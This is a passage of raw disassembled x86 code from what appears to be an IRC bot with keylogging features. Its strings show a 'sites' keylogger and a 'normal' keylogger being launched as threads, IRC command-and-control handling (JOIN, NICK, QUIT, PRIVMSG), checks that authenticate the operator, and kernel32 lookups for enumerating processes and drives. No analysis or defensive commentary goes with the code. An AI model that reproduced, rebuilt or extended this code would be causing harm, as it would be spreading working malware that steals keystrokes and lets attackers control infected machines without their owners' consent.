; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C0
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A190
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A178
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset byte_4126A7
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
nop
call near ptr 269086Bh
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A03C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A000
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FE8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
nop
call near ptr 269086Bh
push eax
push offset unk_429FA8
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_1 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset loc_4161C1
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
nop
call near ptr 26901EBh
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F50
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429EFC
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E8C
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2680EF8h
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E924[eax]
nop
call near ptr 26A0846h
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E924[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D34
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset dword_42A2E8
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C98
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call near ptr 2680EF8h
nop
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C70
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C4C
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDBC ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB88C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C48 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B54
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B34
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
call near ptr 2680EF8h
nop
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
